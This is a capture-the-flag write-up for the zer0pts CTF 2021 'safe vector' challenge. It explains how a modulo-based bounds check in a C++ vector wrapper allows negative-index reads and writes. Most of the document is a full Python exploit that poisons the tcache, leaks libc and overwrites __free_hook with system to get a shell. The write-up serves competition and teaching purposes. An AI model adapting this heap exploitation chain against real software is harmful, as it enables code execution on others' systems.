# safe vector - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`
## Challenge Overview
We're given an x64 ELF, its source code, and the libc binary.
At first glance, the vulnerability is out-of-bound RW.
```cpp
case 3:
{
int i, v;
cout << "index: ";
cin >> i;
cout << "value: ";
cin >> v;
arr[i] = v;
break;
}
case 4:
{
int i;
cout << "index: ";
cin >> i;
cout << "value: " << arr[i] << endl;
break;
}
```
However, this array is of `safe_vector<uint32_t>` and it's defined here:
```cpp
template<typename T>
class safe_vector: public std::vector<T> {
public:
void wipe() {
std::vector<T>::resize(0);
std::vector<T>::shrink_to_fit();
}
T& operator[](int index) {
int size = std::vector<T>::size();
if (size == 0) {
throw "index out of bounds";
}
return std::vector<T>::operator[](index % size);
}
};
```
The programmer intends to ban oob access by the modulo operator. However, in C++, the result of `<int> % <int>` may take negative values. We abuse this fact to read/write at negative index.
## Solution
This challenge was written for "I <3 Heap" people. Although, I hate heap challenge and I don't want to write the detailed solution.
Basically just "try hard to corrupt tcache" and "try hard to leak libc address" and "try hard to overwrite free hook" and it's done.
## Exploit
```python=
from ptrlib import *
def push(v):
sock.sendlineafter(">> ", "1")
if v >> 31:
sock.sendlineafter(": ", str(-((v ^ 0xffffffff) + 1)))
else:
sock.sendlineafter(": ", str(v))
def pop():
sock.sendlineafter(">> ", "2")
def store(i, v):
sock.sendlineafter(">> ", "3")
sock.sendlineafter(": ", str(i))
if v >> 31:
sock.sendlineafter(": ", str(-((v ^ 0xffffffff) + 1)))
else:
sock.sendlineafter(": ", str(v))
def load(i):
sock.sendlineafter(">> ", "4")
sock.sendlineafter(": ", str(i))
return int(sock.recvlineafter(": "))
def wipe():
sock.sendlineafter(">> ", "5")
libc = ELF("../distfiles/libc.so.6")
sock = Socket("localhost", 9001)
"""
Step 1) heap feng shui
"""
# prepare unsorted bin
logger.info("Linking into unsorted bin")
for i in range(8):
push(i)
store(-2, 0x91)
for i in range(8, 16):
push(i)
store(10, 0x111)
store(11, 0)
addr_heap = (load(-9) << 32) + load(-10) - 0x10
logger.info("heap = " + hex(addr_heap))
for i in range(16, 32):
push(i)
store(-2, 0x211)
for i in range(32, 64):
push(i)
store(10, 0x411)
for i in range(64, 128):
push(i)
for i in range(128, 256):
push(i)
store(18, 0xf0a1) # top
store(19, 0)
for i in range(256, 512):
push(i)
push(0xdead)
store(-2, 0x80)
wipe()
# corrupt link
logger.info("Corrupting tcache link")
for i in range(4):
push(0xff0000 + i)
store(-2, 0x111)
for i in range(4, 8):
push(0xff0000 + i)
store(-2, 0x51)
for i in range(8, 32):
push(0xff0000 + i)
for i in range(32, 58):
push(0xff0000 + i)
push(0x51)
push(0)
addr_target = addr_heap + 0x120f0
push(addr_target & 0xffffffff)
push(addr_target >> 32)
store(6, 0x21)
store(7, 0)
store(8, 0)
store(9, 0)
wipe()
"""
Step 2) Libc leak
"""
# consume
logger.info("Consuming chunk for 0x50")
for i in range(16):
push(i)
store(-2, 0x31)
push(0xcafe)
wipe()
for i in range(16):
push(i)
# leak
libc_base = (load(-5) << 32) + load(-6) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))
"""
Step 3) Poison tcache
"""
addr_victim = libc_base + libc.symbol("__free_hook")
store(-2, 0x81)
for i in range(16, 33):
push(i)
store(6, 0x21)
store(7, 0)
store(8, addr_victim & 0xffffffff)
store(9, addr_victim >> 32)
wipe()
"""
Step 4) Win!
"""
addr_target = libc_base + libc.symbol("system")
push(addr_target & 0xffffffff)
push(addr_target >> 32)
push(0xdead)
push(0xbeef)
store(0, u32("/bin"))
store(1, u32("/sh\0"))
push(0xcafe)
sock.interactive()
```